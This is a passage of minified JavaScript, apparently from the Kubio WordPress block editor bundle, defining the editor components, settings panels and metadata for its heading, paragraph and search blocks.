right","kubio"),align:"right"},{icon:bf,title:(0,We.__)("Justify text","kubio"),align:"justify"}],vf=({computed:e})=>{const{headerType:t,textAlign:o}=e;return(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsxs)(st.BlockControls,{children:[(0,Je.jsxs)(Re.ToolbarGroup,{children:[(0,Je.jsx)(ff,{selectedLevel:t.value,onChange:t.onChange}),(0,Je.jsx)(st.AlignmentToolbar,{value:o.value,onChange:o.onChange,alignmentControls:_f})]}),(0,Je.jsx)(pf.CustomFormatsToolbar,{addWrapper:!1})]})})},xf=({WrapperComponent:e,...t})=>{const{isSelected:o}=t,[n,a]=(0,Me.useState)(o),[i,r]=(0,Me.useState)(!1),{clientId:s}=t,l=e=>{const t=e.target,o=t.closest(".block-editor-block-contextual-toolbar"),i=t.closest(".components-popover"),r=document.body.contains(t);o||i||!r||n&&a(!1)},u=o||i;(0,Me.useEffect)((()=>{u!==n&&a(u)}),[u]),(0,Me.useEffect)((()=>{!o&&i&&r(!1)}),[o]),(0,Me.useEffect)((()=>(document.removeEventListener("click",l),o&&document.addEventListener("click",l),()=>{document.removeEventListener("click",l)})),[o,n]);const c=(0,Me.useCallback)((()=>{r(!1)}),[]),p=(0,De.useDebounce)(c),d=(0,Me.useCallback)((()=>{p.cancel(),i||(r(!0),n||a(!0))}),[]),m=(0,Le.useSelect)((e=>{const{hasMultiSelection:t,getMultiSelectedBlocks:o}=e("core/block-editor"),n=!!(0,Ae.find)(o(),{clientId:s});return t()&&n}),[]),h=u&&n||m;return(0,Je.jsx)(e,{showRichText:h,fancyOnMouseEnter:d,fancyOnMouseLeave:p,...t})},Cf=(0,De.createHigherOrderComponent)((e=>t=>(0,Me.useMemo)((()=>{const e=t.dataHelper.getProp("fancy.typeStyle");return e&&"none"!==e}),[t.dataHelper])?(0,Je.jsx)(xf,{...t,WrapperComponent:e}):(0,Je.jsx)(e,{...t})),"withFancyTitle"),If=[...Ne.allowedRichTextFormats,"core/link","core/code","core/image","kubio/font-family-weight"],Ef=(0,De.compose)(Ne.withIsSelected,(0,Ne.withColibriDataAutoSave)(((e,t)=>{var o;const{isSelected:n}=t,a=(0,bt.useInheritedTextAlign)(e),i=e.useAttributePath("content"),r=(0,Me.useCallback)(i.onChange,[null==e||null===(o=e.sharedData)||void 0===o?void 0:o.hash]),s={value:i.value.replaceAll("\\n","<br>"),onChange:r},l=e.getProp("fancy"),u=e.usePropPath("fancy.fancyRotatingWords"),c={content:s.value,fancy:l};let p=(0,Me.useMemo)((()=>(({content:e="",fancy:t={}})=>{const{typeStyle:o,typeAnimation:n,fancyWord:a}=t;if(!o||"none"===o||!a)return e;let i="";i="highlighted"===o?nf:"type"!==n?af:rf;let r=e;const s=(0,Me.renderToString)((0,Je.jsx)(i,{fancy:t})),l=tf()(a);return r=r.replace(new RegExp(l,"i"),s),r})(c)),[n,c]);p||(p=(0,We.__)("Write headingβ¦","kubio"));const d=qd(e),m=e.getProp("level",!1,{media:"desktop"});return{isSelected:n,content:s,htmlContent:p,tagName:d,fancy:l,headerType:e.usePropPath("level",{media:"desktop"}),link:e.getAttribute("link"),textAlign:e.useStylePath("textAlign",{},a),shouldUpdateHeaderAttribute:m!==parseInt(m),level:Kd(e),shouldUpdateFancyRotatingWords:"beautifulnamazingnimpressive"===u.value,fancyRotatingWords:u}})),(0,Ne.withStyledElements)((({computed:e}={})=>({[lf]:{tag:null==e?void 0:e.tagName}}))),Ne.withDispatchWpBLock,Cf),Tf=Ef((e=>{const{name:t,computed:o,StyledElements:n,mergeBlocks:a,isDynamicContent:i=!1,children:r,showRichText:s=!0,fancyOnMouseEnter:l=je().noop,fancyOnMouseLeave:u=je().noop,attributes:c,clientId:p}=e,{tagName:d,textAlign:m,content:h,link:b,htmlContent:g,headerType:y,shouldUpdateHeaderAttribute:k,level:f}=o,_=(0,st.useBlockProps)({...(0,Ne.useBlockElementProps)(lf,{"data-kubio":t}),onMouseEnter:l,onMouseLeave:u}),v=(0,Ne.useUndoTrapDispatch)();(0,Me.useEffect)((()=>{k&&v((()=>new Promise((e=>{y.onChange(f),setTimeout(e,10)}))),{silent:!0})}),[]);const x=(0,Me.useMemo)((()=>Jk({attributes:c,name:t,clientId:p})),[c,t,p]),C=(0,Me.useMemo)((()=>Zk({attributes:c,name:t,clientId:p})),[c,t,p]),I=(0,Me.useCallback)((()=>C([])()),[C]);return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(vf,{computed:o}),(0,Je.jsxs)(ut.LinkWrapper,{className:"d-block h-link",link:b,children:[!s&&(0,Je.jsx)(n.Text,{..._,dangerouslySetInnerHTML:{__html:g}}),i&&r,s&&!i&&(0,Je.jsx)(st.RichText,{identifier:"content",tagName:d,..._,style:null,value:h.value,onChange:h.onChange,onMerge:a,onSplit:x,onRemove:I,placeholder:(0,We.__)("Write headingβ¦","kubio"),textAlign:m.value,allowedFormats:If})]})]})})),Sf=()=>{const e=(0,bt.useInheritedTextAlign)();return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Heading Properties","kubio"),children:[(0,Je.jsx)(ut.ToggleGroupWithPath,{path:"level",options:Xd.headingType.options,type:Ne.WithDataPathTypes.PROP,label:(0,We.__)("Heading type","kubio")}),(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{label:(0,We.__)("Heading align","kubio"),path:"textAlign",defaultValue:e,useContentAlignIcons:!1,type:Ne.WithDataPathTypes.STYLE,style:lf}),(0,Je.jsx)(ut.LinkControlWithData,{})]})},wf=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(Sf,{})}),Pf=(0,Ne.withComputedData)((e=>({holderName:qd(e)})))((({computed:e})=>(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Text","kubio"),children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text color","kubio"),path:"typography.color",type:Ne.WithDataPathTypes.STYLE,defaultValue:(0,bt.useInheritedTypographyValue)(e.holderName,"color")}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",inherit:"typography",type:Ne.WithDataPathTypes.STYLE,nodeType:e.holderName}),(0,Je.jsx)(ut.TextShadowControlPopupWithPath,{path:"textShadow",type:Ne.WithDataPathTypes.STYLE})]}))),Af=Pf,jf=(0,Ne.withComputedData)((e=>{const t={value:e.getProp("fancy.useSmallHeader"),onChange:t=>{const o={styledComponent:uf};t?(e.setStyle("stroke.linejoin","round",o),e.setStyle("stroke.linecap","round",o)):(e.setStyle("stroke.linejoin","initial",o),e.setStyle("stroke.linecap","initial",o)),e.setProp("fancy.useSmallHeader",t)}};return{useRoundEdges:t}}))((({computed:e})=>{const{useRoundEdges:t}=e;return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.SelectControlWithPath,{label:(0,We.__)("Type shape","kubio"),type:Ne.WithDataPathTypes.PROP,path:"fancy.typeShape",options:Xd.typeHighlightedOptions}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.InputControlWithPath,{label:(0,We.__)("Highlighted Word","kubio"),type:Ne.WithDataPathTypes.PROP,path:"fancy.fancyWord"}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Color","kubio"),path:"stroke.color",style:uf,type:Ne.WithDataPathTypes.STYLE}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Width","kubio"),path:"stroke.width",style:uf,type:Ne.WithDataPathTypes.STYLE,...Xd.offsetStrokeWidthOptions}),(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Bring to front","kubio"),type:Ne.WithDataPathTypes.PROP,path:"fancy.bringToFront"}),(0,Je.jsx)(ut.ToggleControl,{label:(0,We.__)("Rounded edges","kubio"),type:Ne.WithDataPathTypes.PROP,...t})]})})),Bf=jf,Nf=(0,Ne.withComputedData)((e=>({typeAnimationIsType:e.getProp("fancy.typeAnimation")===Xd.typeAnimationValues.TYPE})))((({computed:e})=>{const{typeAnimationIsType:t}=e;return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.SelectControlWithPath,{label:(0,We.__)("Type animation","kubio"),type:Ne.WithDataPathTypes.PROP,path:"fancy.typeAnimation",options:Xd.typeAnimationOptions}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.InputControlWithPath,{label:(0,We.__)("Word","kubio"),type:Ne.WithDataPathTypes.PROP,path:"fancy.fancyWord"}),(0,Je.jsx)(ut.TextareaControlWithPath,{label:(0,We.__)("Rotating words","kubio"),type:Ne.WithDataPathTypes.PROP,path:"fancy.fancyRotatingWords"}),!t&&(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Animation duration","kubio"),path:"fancy.animationDuration",type:Ne.WithDataPathTypes.PROP,...Xd.animationDurationOptions}),t&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Type speed","kubio"),path:"fancy.type.animationDuration.in",type:Ne.WithDataPathTypes.PROP,...Xd.typeAnimationDurationOptions}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Back speed","kubio"),path:"fancy.type.animationDuration.out",type:Ne.WithDataPathTypes.PROP,...Xd.typeAnimationDurationOptions})]})]})})),Of=Nf,Rf=(0,Ne.withComputedData)((e=>{const t={value:e.getProp("fancy.typeStyle"),onChange:t=>{const o=e.getProp("fancy.typeStyle");"none"!==t&&"none"===o&&(()=>{const t=e.getAttribute("content"),o=(0,Ze.stripTags)(t).trim().split(/(\s+)/).filter((function(e){return e.trim().length>0})),n=e.getProp("fancy.fancyWord");if(o.includes(n))return;const a=o[o.length-1];e.setProp("fancy.fancyWord",a)})(),e.setProp("fancy.typeStyle",t)}};return{typeStyleIs:{rotating:t.value===Xd.typeStyleValues.ROTATE,highlighted:t.value===Xd.typeStyleValues.HIGHLIGHT},typeStyle:t}}))((({computed:e})=>{const{typeStyleIs:t,typeStyle:o}=e;return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Effects","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.GutentagSelectControl,{label:(0,We.__)("Effect Type","kubio"),options:Xd.typeStyleOption,...o}),t.highlighted&&(0,Je.jsx)(Bf,{}),t.rotating&&(0,Je.jsx)(Of,{})]})})),Df=Rf,Lf=()=>(0,Je.jsxs)(Oe.StyleInspectorControls,{children:[(0,Je.jsx)(Af,{}),(0,Je.jsx)(Df,{})]}),Mf=(0,Ne.withPropsChecker)((function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(wf,{}),(0,Je.jsx)(Lf,{}),(0,Je.jsx)(Tf,{...e})]})}));var Wf,Hf;const Gf={name:"kubio/heading",category:"kubio-basic",attributes:{kubio:{type:"object"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},content:{type:"string",source:"html",default:"My heading is awesome"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{descendants:{svgShape:{stroke:{width:{value:8,unit:"px"},color:"#000000"}}}},props:{fancy:{fancyWord:"awesome",fancyRotatingWords:"beautiful\namazing\nimpressive",typeStyle:"none",typeShape:"curly",typeAnimation:"rotate-1",bringToFront:!1,useRoundedEdges:!1,animationDuration:{value:1,unit:"s"},type:{animationDuration:{in:{value:.1,unit:"s"},out:{value:.1,unit:"s"}}}}}},elementsEnum:{TEXT:"text",SVG:"svgShape"},elementsByName:{text:{selector:".wp-block.wp-block-kubio-heading__text",selectorPrepend:!0,default:!0,wrapper:!0,useBlockProps:!1},svgShape:{selector:".text-wrapper-fancy svg path"}},template:{type:"LinkWrapper",props:{heading:!0},children:[{type:"element",props:{name:"text"}}]}}}},Uf={content:Gf.attributes.content.default,kubio:{props:{level:(null==Gf||null===(Wf=Gf.kubio)||void 0===Wf||null===(Hf=Wf.props)||void 0===Hf?void 0:Hf.level)||2}}},Ff="kubio/heading",zf={name:"kubio/heading",category:"kubio-basic",attributes:{kubio:{type:"object"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},content:{type:"string",source:"html",default:"My heading is awesome"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{descendants:{svgShape:{stroke:{width:{value:8,unit:"px"},color:"#000000"}}}},props:{fancy:{fancyWord:"awesome",fancyRotatingWords:"beautiful\namazing\nimpressive",typeStyle:"none",typeShape:"curly",typeAnimation:"rotate-1",bringToFront:!1,useRoundedEdges:!1,animationDuration:{value:1,unit:"s"},type:{animationDuration:{in:{value:.1,unit:"s"},out:{value:.1,unit:"s"}}}}}},elementsEnum:{TEXT:"text",SVG:"svgShape"},elementsByName:{text:{selector:".wp-block.wp-block-kubio-heading__text",selectorPrepend:!0,default:!0,wrapper:!0,useBlockProps:!1},svgShape:{selector:".text-wrapper-fancy svg path"}},template:{type:"LinkWrapper",props:{heading:!0},children:[{type:"element",props:{name:"text"}}]}}}},Vf=(0,Sn.extendBlockMeta)(zf,{title:(0,We.__)("Heading","kubio"),keywords:[(0,We.__)("title","kubio"),(0,We.__)("subtitle","kubio"),(0,We.__)("headline","kubio")],icon:Tn.BlockIcons.Heading,apiVersion:2,supports:{kubio:{elementsByName:cf,isGutentagQuickInsertDefault:!0},reusable:!1,html:!1},edit:Mf,example:Uf,merge:(e,t)=>({content:(e.content||"")+(t.content||"")}),variations:((e=[])=>(0,Ae.uniq)([2,...e]).map((e=>{const t=2===e?Ff:`heading-${e}`,o=2===e?(0,We.__)("Heading","kubio"):// translators: %d: heading level e.g: "1", "2", "3" // translators: %d: heading level e.g: "1", "2", "3" (0,We.sprintf)((0,We.__)("Heading %d","kubio"),e),n=2===e,a=2===e?(0,We.__)("Create headings that stand out. Customize their typography, color, shadow, borders, and background.","kubio"):// translators: %d: heading level e.g: "1", "2", "3" // translators: %d: heading level e.g: "1", "2", "3" (0,We.sprintf)((0,We.__)("Heading %d element","kubio"),e),{attributes:i,innerBlocks:r}=(0,Ne.composeBlockWithStyle)(Ff,{props:{level:e,fancy:{fancyRotatingWords:[(0,We.__)("awesome","kubio"),(0,We.__)("amazing","kubio"),(0,We.__)("impressive","kubio")].join("\n")}}},[],!1);return{name:t,isDefault:n,title:o,description:a,attributes:i,innerBlocks:r}})))(),save:({attributes:e})=>(0,Je.jsx)(st.RichText.Content,{value:e.content})}),Yf="text",$f="first-letter",Kf={[Yf]:{label:(0,We.__)("Text","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.SPACING,jn.StylesEnum.BORDER,jn.StylesEnum.TYPOGRAPHY,jn.StylesEnum.TEXT_SHADOW],states:jn.StatesPresetsEnum.BASIC}},[$f]:{label:(0,We.__)("First Letter","kubio"),internal:!0}},qf=[{icon:df,title:(0,We.__)("Align text left","kubio"),align:"left"},{icon:mf,title:(0,We.__)("Align text center","kubio"),align:"center"},{icon:hf,title:(0,We.__)("Align text right","kubio"),align:"right"},{icon:bf,title:(0,We.__)("Justify text","kubio"),align:"justify"}],Xf=({computed:e})=>{const{textAlign:t}=e;return(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsx)(st.BlockControls,{children:(0,Je.jsxs)(Re.ToolbarGroup,{children:[(0,Je.jsx)(pf.CustomFormatsToolbar,{}),(0,Je.jsx)(st.AlignmentToolbar,{value:t.value,onChange:t.onChange,alignmentControls:qf})]})})})},Qf=[...Ne.allowedRichTextFormats,"core/link","core/code","core/image","kubio/font-family-weight"],Zf=(0,De.pure)((e=>{const{name:t,computed:o,mergeBlocks:n,isDynamic:a,children:i,clientId:r,attributes:s,isSelected:l,blockProps:u}=e,{textAlign:c,content:p}=o,d=(0,Me.useMemo)((()=>Jk({attributes:s,name:t,clientId:r})),[s,t,r]),m=(0,Me.useMemo)((()=>Zk({attributes:s,name:t,clientId:r})),[s,t,r]),h=(0,Me.useCallback)((()=>m([])),[m]);return(0,Je.jsxs)(Je.Fragment,{children:[!a&&(0,Je.jsxs)(Je.Fragment,{children:[l&&(0,Je.jsx)(Xf,{computed:o}),(0,Je.jsx)(st.RichText,{identifier:"content",...u,tagName:"p",value:p.value,onChange:p.onChange,onMerge:n,onSplit:d,onReplace:m,onRemove:h,textAlign:c.value,"aria-label":p?(0,We.__)("Paragraph block","kubio"):(0,We.__)("Empty paragraph block","kubio"),placeholder:(0,We.__)("Start writing ","kubio"),__unstableEmbedURLOnPaste:!0,__unstableAllowPrefixTransformations:!0,allowedFormats:Qf,"data-empty":(0,Ae.isEmpty)(p.value)})]}),a&&(0,Je.jsx)("p",{...u,children:i})]})})),Jf=(0,De.compose)((0,Ne.withColibriDataAutoSave)((e=>{var t;const o=(0,bt.useInheritedTextAlign)(e),n=e.useAttributePath("content"),a=(0,Me.useCallback)(n.onChange,[null==e||null===(t=e.sharedData)||void 0===t?void 0:t.hash]),i={value:n.value,onChange:a};return{isLead:e.getProp("isLead"),dropCap:e.getProp("dropCap"),content:i,textAlign:e.useStylePath("textAlign",{},o)}})),(0,Ne.withStyledElements)((({computed:e})=>{const{isLead:t,dropCap:o}=e;return{[Yf]:{className:()=>{const e=[];return t&&e.push("h-lead"),o&&e.push("has-drop-cap"),e}}}})),Ne.withDispatchWpBLock),e_=Jf((e=>{const{children:t,name:o}=e;let n=(0,st.useBlockProps)((0,Ne.useBlockElementProps)(Yf,{"data-kubio":o}));return n=(0,Me.useMemo)((()=>({...n,className:Ge()(n.className,["kubio-block-wrapper"])})),[n]),(0,Je.jsx)(Zf,{...e,blockProps:n,children:t})})),t_=(0,Ne.withComputedData)((e=>({handleLeadToggle:t=>{!0===t&&e.setStyle("typography",{}),e.setProp("isLead",t)},handleDropCapToggle:t=>{e.setProp("dropCap",t)},isLead:e.getProp("isLead",!1),dropCap:e.getProp("dropCap")})))((({showLead:e,showDropCap:t=!1,atEndOfTextProperties:o,title:n,computed:a})=>{const i=(0,bt.useInheritedTextAlign)(),{handleLeadToggle:r,handleDropCapToggle:s,isLead:l,dropCap:u}=a,c=(0,Le.useSelect)((e=>{const{hasMultiSelection:t}=e("core/block-editor");return t}),[])();return(0,Je.jsxs)(Re.PanelBody,{title:n,children:[!c&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{label:(0,We.__)("Text align","kubio"),path:"textAlign",useContentAlignIcons:!1,defaultValue:i,type:Ne.WithDataPathTypes.STYLE,style:Yf}),e&&(0,Je.jsx)(ut.ToggleControl,{label:(0,We.__)("Lead","kubio"),onChange:r,value:l}),t&&(0,Je.jsx)(ut.ToggleControl,{label:(0,We.__)("Drop cap","kubio"),onChange:s,value:u})]}),o]})})),o_=({showLead:e=!0,showDropCap:t=!1,afterTextProperties:o,atEndOfTextProperties:n,title:a=(0,We.__)("Paragraph properties","kubio")})=>(0,Je.jsxs)(Oe.ContentInspectorControls,{children:[(0,Je.jsx)(t_,{showLead:e,showDropCap:t,atEndOfTextProperties:n,title:a}),o]}),n_=e=>{const{withTextShadow:t=!0,styleTitle:o=(0,We.__)("Text","kubio")}=e,{dataHelper:n}=(0,Ne.useKubioBlockContext)(),a=n.getProp("isLead")?"lead":"p";return(0,Je.jsxs)(Re.PanelBody,{title:o,children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text color","kubio"),path:"typography.color",type:Ne.WithDataPathTypes.STYLE,defaultValue:(0,bt.useInheritedTypographyValue)(a,"color")}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",type:Ne.WithDataPathTypes.STYLE,nodeType:a}),t&&(0,Je.jsx)(ut.TextShadowControlPopupWithPath,{path:"textShadow",type:Ne.WithDataPathTypes.STYLE})]})},a_=e=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(n_,{...e})}),i_=(0,Ne.withPropsChecker)((function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(o_,{showDropCap:!0}),(0,Je.jsx)(a_,{}),(0,Je.jsx)(e_,{...e})]})})),r_={name:"kubio/text",category:"kubio-basic",attributes:{kubio:{type:"object"},content:{type:"string",source:"html",default:""},dropCap:{type:"boolean",default:!1}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{},props:{isLead:!1}},elementsEnum:{TEXT:"text",FIRSTLETTER:"first-letter"},elementsByName:{text:{default:!0,wrapper:!0,selector:"p.wp-block.wp-block-kubio-text__text",selectorPrepend:!0,props:{tag:"p"}},"first-letter":{selector:"&::first-letter"}},template:{type:"element",props:{name:"text"}}}}},s_=(0,Sn.extendBlockMeta)(r_,{title:(0,We.__)("Paragraph","kubio"),keywords:[(0,We.__)("text","kubio"),(0,We.__)("paragraph","kubio")],icon:Tn.BlockIcons.Paragraph,apiVersion:2,supports:{kubio:{elementsByName:Kf,isGutentagQuickInsertDefault:!0},reusable:!1,html:!1},edit:i_,merge:(e,t)=>({content:(e.content||"")+(t.content||"")}),save:({attributes:e})=>(0,Je.jsx)(st.RichText.Content,{value:e.content}),variations:[{name:"default",isDefault:!0,title:(0,We.__)("Paragraph","kubio"),description:(0,We.__)("Add text that can be stylized your way: from font-family, font-weight, and size, to color, borders, and shadows.","kubio"),attributes:{content:"Lorem ipsum dolor sit amet, at mei dolore tritani repudiandae. In his nemore temporibus consequuntur, vim ad prima vivendum consetetur. Viderer feugiat at pro, mea aperiam"}}]}),l_="placeholder",u_="form",c_="input",p_="button",d_="icon",m_={["outer"]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.TRANSITION,jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:jn.StatesPresetsEnum.NONE}},[c_]:{label:(0,We.__)("Input","kubio"),supports:{styles:[jn.StylesEnum.TRANSITION,jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.BUTTON}},[p_]:{label:(0,We.__)("Button","kubio"),supports:{styles:[jn.StylesEnum.TRANSITION,jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.BASIC}},[l_]:{label:(0,We.__)("Placeholder","kubio"),supports:{styles:[jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.BASIC}},[u_]:{label:(0,We.__)("Form","kubio"),internal:!0},[d_]:{label:(0,We.__)("Icon","kubio"),internal:!0,supports:{states:jn.StatesPresetsEnum.BASIC}}},h_=(0,De.compose)((0,Ne.withColibriData)((e=>{const t=e.getProp("layout",""),o=e.getProp("buttonType"),n="inputAndButton"===t,a="icon"===e.getProp("buttonType");return{layout:t,buttonType:o,inputPlaceholder:e.getAttribute("placeholderText",""),buttonText:e.getProp("buttonText",""),icon:e.getAttribute("iconName",""),showInput:!0,showButton:n,showButtonIcon:a}})),(0,Ne.withStyledElements)((()=>({[u_]:{className:()=>["d-flex search-form"]},[p_]:{className:()=>["search-button"]},[c_]:{className:()=>["search-input"]}})))),b_=h_((e=>{const{computed:t,StyledElements:o}=e,{layout:n,buttonType:a,inputPlaceholder:i,buttonText:r,icon:s}=t;return(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsx)(o.Outer,{children:(0,Je.jsxs)(o.Form,{children:[(0,Je.jsx)(o.Input,{placeholder:i}),(0,Je.jsxs)(o.Button,{onClick:e=>{e.preventDefault(),e.stopPropagation()},shouldRender:"inputAndButton"===n,children:[(0,Je.jsx)(o.Icon,{tag:ut.CanvasIcon,name:s,shouldRender:"icon"===a}),"text"===a&&r]})]})})})})),g_=()=>(0,Je.jsx)(ut.InputControlWithPath,{label:(0,We.__)("Placeholder text","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"placeholderText"}),y_=[{label:(0,We.__)("Icon","kubio"),value:"icon"},{label:(0,We.__)("Text","kubio"),value:"text"}],k_=(0,Ne.withComputedData)((e=>{const t=e.getProp("layout");return{buttonType:e.getProp("buttonType"),showButtonOptions:"inputAndButton"===t}}))((({computed:{buttonType:e,showButtonOptions:t}})=>t&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.ToggleGroupWithPath,{options:y_,label:(0,We.__)("Button type","kubio"),type:Ne.WithDataPathTypes.PROP,path:"buttonType"}),"text"===e&&(0,Je.jsx)(ut.InputControlWithPath,{label:(0,We.__)("Button text","kubio"),type:Ne.WithDataPathTypes.PROP,path:"buttonText"}),"icon"===e&&(0,Je.jsx)(ut.IconPickerWithPath,{path:"iconName",type:Ne.WithDataPathTypes.ATTRIBUTE})]}))),f_=[{label:(0,We.__)("Input and button","kubio"),value:"inputAndButton"},{label:(0,We.__)("Input only","kubio"),value:"inputOnly"}],v_=e=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Search Properties","kubio"),children:[(0,Je.jsx)(ut.SelectControlWithPath,{label:(0,We.__)("Layout","kubio"),options:f_,type:Ne.WithDataPathTypes.PROP,path:"layout"}),(0,Je.jsx)(g_,{}),(0,Je.jsx)(k_,{})]})}),x_=(0,Ne.withComputedData)()((({dataHelper:e})=>{const t={type:Ne.WithDataPathTypes.STYLE,style:c_},o="normal",[n,a]=(0,Me.useState)(o),i=[{value:o,label:(0,We.__)("Normal","kubio")},{value:"hover",label:(0,We.__)("Hover","kubio")}],r={normal:(0,bt.useInheritedTypographyValue)("p","color"),hover:(0,bt.useInheritedTypographyValue)("p","color")},s={value:e.getStyle("color",r[n],{styledComponent:c_,state:n}),onChange:t=>{e.setStyle("color",t,{styledComponent:c_,state:n}),e.setStyle("color",t,{styledComponent:l_,state:n})},onReset:t=>{e.setStyle("color",{},{styledComponent:c_,unset:!0,state:n}),e.setStyle("color",{},{styledComponent:l_,unset:!0,state:n})}};return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Input Style","kubio"),children:[(0,Je.jsx)(ut.ToggleGroup,{options:i,value:n,onChange:e=>a(e)}),(0,Je.jsx)(ut.ColorIndicatorPopover,{label:(0,We.__)("Text color","kubio"),state:n,showReset:!0,...s}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Background color","kubio"),path:"background.color",state:n,...t}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Border color","kubio"),path:["border.top.color","border.bottom.color","border.left.color","border.right.color"],state:n,...t}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.BordersAndRadiusWithPath,{path:"border",...t,withColor:!1}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",type:Ne.WithDataPathTypes.STYLE,withLineHeight:!1,...t})]})})),C_=x_,I_=(0,Ne.withComputedData)((e=>({layout:e.getProp("layout"),buttonType:e.getProp("buttonType")})))((({computed:{buttonType:e}})=>{const t={type:Ne.WithDataPathTypes.STYLE,style:p_},o={type:Ne.WithDataPathTypes.STYLE,style:d_},n="normal",[a,i]=(0,Me.useState)(n),r=[{value:n,label:(0,We.__)("Normal","kubio")},{value:"hover",label:(0,We.__)("Hover","kubio")}];return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Button Style","kubio"),children:[(0,Je.jsx)(ut.ToggleGroup,{options:r,value:a,onChange:e=>i(e)}),"icon"===e&&(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Icon color","kubio"),path:"fill",...o,state:a}),"text"===e&&(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text color","kubio"),path:"typography.color",...t,state:a}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Background color","kubio"),path:"background.color",...t,state:a}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Border color","kubio"),path:["border.top.color","border.bottom.color","border.left.color","border.right.color"],state:a,...t}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),"icon"===e&&(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Icon size","kubio"),path:"size",max:100,capMax:!0,capMin:!0,...o}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Button width","kubio"),max:200,path:"width",...t}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.BordersAndRadiusWithPath,{path:"border",...t,withColor:!1}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",withLineHeight:!1,...t})]})})),E_=I_,T_=(0,Ne.withComputedData)((e=>({layout:e.getProp("layout"),buttonType:e.getProp("buttonType")})))((({computed:{layout:e,buttonType:t}})=>(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(C_,{}),"inputAndButton"===e&&(0,Je.jsx)(E_,{buttonType:t})]}))),S_=()=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(T_,{})}),w_=(0,Ne.withPropsChecker)((function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(v_,{}),(0,Je.jsx)(S_,{...e}),(0,Je.jsx)(b_,{...e})]})})),P_=(0,We.__)("Add a search bar to your blog or website to ensure smooth and intuitive navigation of your 